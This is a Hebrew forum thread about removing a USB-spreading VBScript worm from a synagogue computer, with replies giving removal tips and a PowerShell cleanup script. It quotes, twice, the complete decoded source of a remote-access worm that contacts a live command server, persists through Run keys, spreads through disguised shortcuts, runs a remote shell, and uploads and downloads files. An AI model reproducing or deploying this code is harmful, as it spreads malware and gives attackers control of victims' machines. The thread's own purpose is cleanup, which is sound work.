                		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
                		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
                		)
                	set "AutoHK.NAPd="
                	)
                

                המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

                cfopuserC מנותק
                cfopuserC מנותק
                cfopuser
                כתב נערך לאחרונה על ידי
                #9

                @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

                או לכבות vbs דרך הריג'יסטרי.

                מתכנת חובבמ תגובה 1 תגובה אחרונה
                1
                • cfopuserC cfopuser

                  @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

                  או לכבות vbs דרך הריג'יסטרי.

                  מתכנת חובבמ מנותק
                  מתכנת חובבמ מנותק
                  מתכנת חובב
                  מדריכים
                  כתב נערך לאחרונה על ידי
                  #10

                  @cfopuser בשביל מה?
                  אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                  cfopuserC תגובה 1 תגובה אחרונה
                  0
                  • מתכנת חובבמ מתכנת חובב

                    @cfopuser בשביל מה?
                    אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

                    cfopuserC מנותק
                    cfopuserC מנותק
                    cfopuser
                    כתב נערך לאחרונה על ידי
                    #11

                    @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    @cfopuser בשביל מה?

                    לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

                    מתכנת חובבמ תגובה 1 תגובה אחרונה
                    0
                    • ר רנדומלי

                      בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                      cmd /c hrxxryydxo.vbs && start explorer [file name]
                      

                      הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                      לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                      תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                      לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                      z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                      

                      בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                      לאחר פיענוח הקידוד התקבל הקוד הבא:
                      אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                      e
                      '<[ recoder : houdini (c) skype : houdini-fx ]>
                      
                      '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                      
                      host = "khattab.no-ip.biz"
                      port = 5550
                      installdir = "%temp%"
                      lnkfile = true
                      lnkfolder = true
                      
                      '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                      
                      dim shellobj 
                      set shellobj = wscript.createobject("wscript.shell")
                      dim filesystemobj
                      set filesystemobj = createobject("scripting.filesystemobject")
                      dim httpobj
                      set httpobj = createobject("msxml2.xmlhttp")
                      
                      '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                      
                      installname = wscript.scriptname
                      startup = shellobj.specialfolders ("startup") & "\"
                      installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                      if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                      spliter = "<" & "|" & ">"
                      sleep = 5000 
                      dim response
                      dim cmd
                      dim param
                      info = ""
                      usbspreading = ""
                      startdate = ""
                      dim oneonce
                      
                      '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                      on error resume next
                      
                      instance
                      while true
                      
                      install
                      
                      response = ""
                      response = post ("is-ready","")
                      cmd = split (response,spliter)
                      select case cmd (0)
                      case "excecute"
                            param = cmd (1)
                            execute param
                      case "update"
                            param = cmd (1)
                            oneonce.close
                            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                            oneonce.write param
                            oneonce.close
                            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                            wscript.quit 
                      case "uninstall"
                            uninstall
                      case "send"
                            download cmd (1),cmd (2)
                      case "site-send"
                            sitedownloader cmd (1),cmd (2)
                      case "recv"
                            param = cmd (1)
                            upload (param)
                      case  "enum-driver"
                            post "is-enum-driver",enumdriver  
                      case  "enum-faf"
                            param = cmd (1)
                            post "is-enum-faf",enumfaf (param)
                      case  "enum-process"
                            post "is-enum-process",enumprocess   
                      case  "cmd-shell"
                            param = cmd (1)
                            post "is-cmd-shell",cmdshell (param)  
                      case  "delete"
                            param = cmd (1)
                            deletefaf (param) 
                      case  "exit-process"
                            param = cmd (1)
                            exitprocess (param) 
                      case  "sleep"
                            param = cmd (1)
                            sleep = eval (param)        
                      end select
                      
                      wscript.sleep sleep
                      
                      wend
                      
                      sub install
                      on error resume next
                      dim lnkobj
                      dim filename
                      dim foldername
                      dim fileicon
                      dim foldericon
                      
                      upstart
                      for each drive in filesystemobj.drives
                      
                      if  drive.isready = true then
                      if  drive.freespace  > 0 then
                      if  drive.drivetype  = 1 then
                          filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                          if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                              filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                          end if
                          for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                              if not lnkfile then exit for
                              if  instr (file.name,".") then
                                  if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                      file.attributes = 2+4
                                      if  ucase (file.name) <> ucase (installname) then
                                          filename = split(file.name,".")
                                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                          lnkobj.windowstyle = 7
                                          lnkobj.targetpath = "cmd.exe"
                                          lnkobj.workingdirectory = ""
                                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                          fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                          if  instr (fileicon,",") = 0 then
                                              lnkobj.iconlocation = file.path
                                          else 
                                              lnkobj.iconlocation = fileicon
                                          end if
                                          lnkobj.save()
                                      end if
                                  end if
                              end if
                          next
                          for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                              if not lnkfolder then exit for
                              folder.attributes = 2+4
                              foldername = folder.name
                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                              lnkobj.windowstyle = 7
                              lnkobj.targetpath = "cmd.exe"
                              lnkobj.workingdirectory = ""
                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                              foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                              if  instr (foldericon,",") = 0 then
                                  lnkobj.iconlocation = folder.path
                              else 
                                  lnkobj.iconlocation = foldericon
                              end if
                              lnkobj.save()
                          next
                      end If
                      end If
                      end if
                      next
                      err.clear
                      end sub
                      
                      sub uninstall
                      on error resume next
                      dim filename
                      dim foldername
                      
                      shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                      shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                      filesystemobj.deletefile startup & installname ,true
                      filesystemobj.deletefile wscript.scriptfullname ,true
                      
                      for  each drive in filesystemobj.drives
                      if  drive.isready = true then
                      if  drive.freespace  > 0 then
                      if  drive.drivetype  = 1 then
                          for  each file in filesystemobj.getfolder ( drive.path & "\").files
                               on error resume next
                               if  instr (file.name,".") then
                                   if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                       file.attributes = 0
                                       if  ucase (file.name) <> ucase (installname) then
                                           filename = split(file.name,".")
                                           filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                       else
                                           filesystemobj.deletefile (drive.path & "\" & file.name)
                                       end If
                                   else
                                       filesystemobj.deletefile (file.path) 
                                   end if
                               end if
                           next
                           for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                               folder.attributes = 0
                           next
                      end if
                      end if
                      end if
                      next
                      wscript.quit
                      end sub
                      
                      function post (cmd ,param)
                      
                      post = param
                      httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                      httpobj.setrequestheader "user-agent:",information
                      httpobj.send param
                      post = httpobj.responsetext
                      end function
                      
                      function information
                      on error resume next
                      if  inf = "" then
                          inf = hwid & spliter 
                          inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                          inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                      
                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set os = root.execquery ("select * from win32_operatingsystem")
                          for each osinfo in os
                             inf = inf & osinfo.caption & spliter  
                             exit for
                          next
                          inf = inf & "plus" & spliter
                          inf = inf & security & spliter
                          inf = inf & usbspreading
                          information = inf  
                      else
                          information = inf
                      end if
                      end function
                      
                      sub upstart ()
                      on error resume Next
                      
                      shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                      filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                      filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                      
                      end sub
                      
                      function hwid
                      on error resume next
                      
                      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                      set disks = root.execquery ("select * from win32_logicaldisk")
                      for each disk in disks
                          if  disk.volumeserialnumber <> "" then
                              hwid = disk.volumeserialnumber
                              exit for
                          end if
                      next
                      end function
                      
                      function security 
                      on error resume next
                      
                      security = ""
                      
                      set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                      set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                      for each objitem in colitems
                          versionstr = split (objitem.version,".")
                      next
                      versionstr = split (colitems.version,".")
                      osversion = versionstr (0) & "."
                      for  x = 1 to ubound (versionstr)
                           osversion = osversion &  versionstr (i)
                      next
                      osversion = eval (osversion)
                      if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                      
                      set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                      Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                      
                      for each objantivirus in colantivirus
                          security  = security  & objantivirus.displayname & " ."
                      next
                      if security  = "" then security  = "nan-av"
                      end function
                      
                      function instance
                      on error resume next
                      
                      usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                      if usbspreading = "" then
                         if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                            usbspreading = "true - " & date
                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                         else
                            usbspreading = "false - " & date
                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                      
                         end if
                      end If
                      
                      
                      upstart
                      set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                      set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                      if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                          wscript.quit 
                      end If
                      err.clear
                      set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                      if  err.number > 0 then wscript.quit
                      end function
                      
                      sub sitedownloader (fileurl,filename)
                      
                      strlink = fileurl
                      strsaveto = installdir & filename
                      set objhttpdownload = createobject("msxml2.xmlhttp" )
                      objhttpdownload.open "get", strlink, false
                      objhttpdownload.send
                      
                      set objfsodownload = createobject ("scripting.filesystemobject")
                      if  objfsodownload.fileexists (strsaveto) then
                          objfsodownload.deletefile (strsaveto)
                      end if
                       
                      if objhttpdownload.status = 200 then
                         dim  objstreamdownload
                         set  objstreamdownload = createobject("adodb.stream")
                         with objstreamdownload
                              .type = 1 
                              .open
                              .write objhttpdownload.responsebody
                              .savetofile strsaveto
                              .close
                         end with
                         set objstreamdownload = nothing
                      end if
                      if objfsodownload.fileexists(strsaveto) then
                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                      end if 
                      end sub
                      
                      sub download (fileurl,filedir)
                      
                      if filedir = "" then 
                         filedir = installdir
                      end if
                      
                      strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                      set objhttpdownload = createobject("msxml2.xmlhttp")
                      objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                      objhttpdownload.send ""
                           
                      set objfsodownload = createobject ("scripting.filesystemobject")
                      if  objfsodownload.fileexists (strsaveto) then
                          objfsodownload.deletefile (strsaveto)
                      end if
                      if  objhttpdownload.status = 200 then
                          dim  objstreamdownload
                          set  objstreamdownload = createobject("adodb.stream")
                          with objstreamdownload 
                               .type = 1 
                               .open
                               .write objhttpdownload.responsebody
                               .savetofile strsaveto
                               .close
                          end with
                          set objstreamdownload  = nothing
                      end if
                      if objfsodownload.fileexists(strsaveto) then
                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                      end if 
                      end sub
                      
                      function upload (fileurl)
                      
                      dim  httpobj,objstreamuploade,buffer
                      set  objstreamuploade = createobject("adodb.stream")
                      with objstreamuploade 
                           .type = 1 
                           .open
                           .loadfromfile fileurl
                           buffer = .read
                           .close
                      end with
                      set objstreamdownload = nothing
                      set httpobj = createobject("msxml2.xmlhttp")
                      httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                      httpobj.send buffer
                      end function
                      
                      function enumdriver ()
                      
                      for  each drive in filesystemobj.drives
                      if   drive.isready = true then
                           enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                      end if
                      next
                      end Function
                      
                      function enumfaf (enumdir)
                      
                      enumfaf = enumdir & spliter
                      for  each folder in filesystemobj.getfolder (enumdir).subfolders
                           enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                      next
                      
                      for  each file in filesystemobj.getfolder (enumdir).files
                           enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                      
                      next
                      end function
                      
                      function enumprocess ()
                      
                      on error resume next
                      
                      set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                      set colitems = objwmiservice.execquery("select * from win32_process",,48)
                      
                      dim objitem
                      for each objitem in colitems
                          enumprocess = enumprocess & objitem.name & "|"
                          enumprocess = enumprocess & objitem.processid & "|"
                          enumprocess = enumprocess & objitem.executablepath & spliter
                      next
                      end function
                      
                      sub exitprocess (pid)
                      on error resume next
                      
                      shellobj.run "taskkill /F /T /PID " & pid,7,true
                      end sub
                      
                      sub deletefaf (url)
                      on error resume next
                      
                      filesystemobj.deletefile url
                      filesystemobj.deletefolder url
                      
                      end sub
                      
                      function cmdshell (cmd)
                      
                      dim httpobj,oexec,readallfromany
                      
                      set oexec = shellobj.exec ("%comspec% /c " & cmd)
                      if not oexec.stdout.atendofstream then
                         readallfromany = oexec.stdout.readall
                      elseif not oexec.stderr.atendofstream then
                         readallfromany = oexec.stderr.readall
                      else 
                         readallfromany = ""
                      end if
                      
                      cmdshell = readallfromany
                      end function
                      
                      מתכנת חובבמ מנותק
                      מתכנת חובבמ מנותק
                      מתכנת חובב
                      מדריכים
                      כתב נערך לאחרונה על ידי
                      #12

                      @רנדומלי בקשה פשוטה מג'מיני בצירף הקוד של הוירוס הניבה סקריפט PS שמטפל בזה

                      $vName = "hrxxryydxo"
                      $vFile = "$vName.vbs"
                      
                      Write-Host "--- מתחיל בניקוי המחשב ---" -ForegroundColor Cyan
                      
                      # 1. עצירת התהליך החי במחשב
                      Get-CimInstance Win32_Process -Filter "Name = 'wscript.exe'" | 
                          Where-Object CommandLine -match $vName | 
                          Invoke-CimMethod -MethodName Terminate | Out-Null
                      Write-Host "[+] תהליך הווירוס בזיכרון נעצר." -ForegroundColor Green
                      
                      # 2. עקירת שורשי ההפעלה מהרגיסטרי (Registry) במחשב
                      Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
                      Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
                      Remove-Item -Path "HKLM:\Software\$vName" -Recurse -ErrorAction SilentlyContinue
                      Write-Host "[+] ערכי הרישום וההפעלה האוטומטית נוקו." -ForegroundColor Green
                      
                      # 3. מחיקת הקבצים הפיזיים מהמחשב (מתיקיות Temp ו-Startup)
                      $tempDir = [System.IO.Path]::GetTempPath()
                      $startupDir = [Environment]::GetFolderPath('Startup')
                      Remove-Item -Path "$tempDir\$vFile" -Force -ErrorAction SilentlyContinue
                      Remove-Item -Path "$startupDir\$vFile" -Force -ErrorAction SilentlyContinue
                      Write-Host "[+] קבצי הווירוס נמחקו מהמחשב (Temp, Startup)." -ForegroundColor Green
                      
                      
                      Write-Host "--- מתחיל בסריקת כוננים חיצוניים ---" -ForegroundColor Cyan
                      
                      # 4. ניקוי כל הכוננים החיצוניים המחוברים ושחזור קבצים
                      $usbDrives = Get-CimInstance Win32_LogicalDisk -Filter "DriveType = 2"
                      
                      if ($usbDrives.Count -eq 0) {
                          Write-Host "[-] לא זוהו כונני USB מחוברים." -ForegroundColor Yellow
                      } else {
                          foreach ($drive in $usbDrives) {
                              $driveLetter = $drive.DeviceID + "\" 
                              Write-Host "סורק כונן $driveLetter..." -ForegroundColor Cyan
                      
                              # מחיקת קיצורי הדרך המזויפים וקובץ הווירוס מהכונן
                              Remove-Item -Path "$driveLetter*.lnk" -Force -ErrorAction SilentlyContinue
                              Remove-Item -Path "$driveLetter$vFile" -Force -ErrorAction SilentlyContinue
                      
                              # פעולת התיקון הלוגית: ביטול דגלי ההסתרה והמערכת
                              Get-ChildItem -Path $driveLetter -Force | ForEach-Object {
                                  if (($_.Attributes -band [System.IO.FileAttributes]::Hidden) -or ($_.Attributes -band [System.IO.FileAttributes]::System)) {
                                      $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::Hidden
                                      $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::System
                                  }
                              }
                              Write-Host "[+] כונן $driveLetter נוקה והקבצים המקוריים שוחזרו." -ForegroundColor Green
                          }
                      }
                      
                      Write-Host "--- הניקוי הושלם במלואו! ---" -ForegroundColor Green
                      

                      לשמור את זה עם הסיומת ps1 ולהריץ כמנהל

                      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                      תגובה 1 תגובה אחרונה
                      0
                      • cfopuserC cfopuser

                        @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                        @cfopuser בשביל מה?

                        לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

                        מתכנת חובבמ מנותק
                        מתכנת חובבמ מנותק
                        מתכנת חובב
                        מדריכים
                        כתב נערך לאחרונה על ידי מתכנת חובב
                        #13

                        @cfopuser הוא לא כתב איזה אנטי וירוס יש שם אבל אנטי וירוס נורמלי שמוגדר בצורה נורמלית ומחשב עם בקרת UAC נורמלית לא אמורים להידבק בוירוסים האלו
                        זה וירוס קל מאוד לזיהוי (אפשר לראות בקוד חתימה ברורה וכל מנוע יוריסטי יזהה את הפעילות שלו)
                        עריכה: אפילו בניתוח סטטי הוא מזוהה על ידי 47 מתוך 62 בוירוס טוטאל

                        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                        תגובה 1 תגובה אחרונה
                        2
                        • ר רנדומלי

                          בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                          cmd /c hrxxryydxo.vbs && start explorer [file name]
                          

                          הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                          לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                          תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                          לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                          z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                          

                          בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                          לאחר פיענוח הקידוד התקבל הקוד הבא:
                          אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                          e
                          '<[ recoder : houdini (c) skype : houdini-fx ]>
                          
                          '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                          
                          host = "khattab.no-ip.biz"
                          port = 5550
                          installdir = "%temp%"
                          lnkfile = true
                          lnkfolder = true
                          
                          '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                          
                          dim shellobj 
                          set shellobj = wscript.createobject("wscript.shell")
                          dim filesystemobj
                          set filesystemobj = createobject("scripting.filesystemobject")
                          dim httpobj
                          set httpobj = createobject("msxml2.xmlhttp")
                          
                          '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                          
                          installname = wscript.scriptname
                          startup = shellobj.specialfolders ("startup") & "\"
                          installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                          if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                          spliter = "<" & "|" & ">"
                          sleep = 5000 
                          dim response
                          dim cmd
                          dim param
                          info = ""
                          usbspreading = ""
                          startdate = ""
                          dim oneonce
                          
                          '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                          on error resume next
                          
                          instance
                          while true
                          
                          install
                          
                          response = ""
                          response = post ("is-ready","")
                          cmd = split (response,spliter)
                          select case cmd (0)
                          case "excecute"
                                param = cmd (1)
                                execute param
                          case "update"
                                param = cmd (1)
                                oneonce.close
                                set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                oneonce.write param
                                oneonce.close
                                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                wscript.quit 
                          case "uninstall"
                                uninstall
                          case "send"
                                download cmd (1),cmd (2)
                          case "site-send"
                                sitedownloader cmd (1),cmd (2)
                          case "recv"
                                param = cmd (1)
                                upload (param)
                          case  "enum-driver"
                                post "is-enum-driver",enumdriver  
                          case  "enum-faf"
                                param = cmd (1)
                                post "is-enum-faf",enumfaf (param)
                          case  "enum-process"
                                post "is-enum-process",enumprocess   
                          case  "cmd-shell"
                                param = cmd (1)
                                post "is-cmd-shell",cmdshell (param)  
                          case  "delete"
                                param = cmd (1)
                                deletefaf (param) 
                          case  "exit-process"
                                param = cmd (1)
                                exitprocess (param) 
                          case  "sleep"
                                param = cmd (1)
                                sleep = eval (param)        
                          end select
                          
                          wscript.sleep sleep
                          
                          wend
                          
                          sub install
                          on error resume next
                          dim lnkobj
                          dim filename
                          dim foldername
                          dim fileicon
                          dim foldericon
                          
                          upstart
                          for each drive in filesystemobj.drives
                          
                          if  drive.isready = true then
                          if  drive.freespace  > 0 then
                          if  drive.drivetype  = 1 then
                              filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                              if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                  filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                              end if
                              for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                  if not lnkfile then exit for
                                  if  instr (file.name,".") then
                                      if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                          file.attributes = 2+4
                                          if  ucase (file.name) <> ucase (installname) then
                                              filename = split(file.name,".")
                                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                              lnkobj.windowstyle = 7
                                              lnkobj.targetpath = "cmd.exe"
                                              lnkobj.workingdirectory = ""
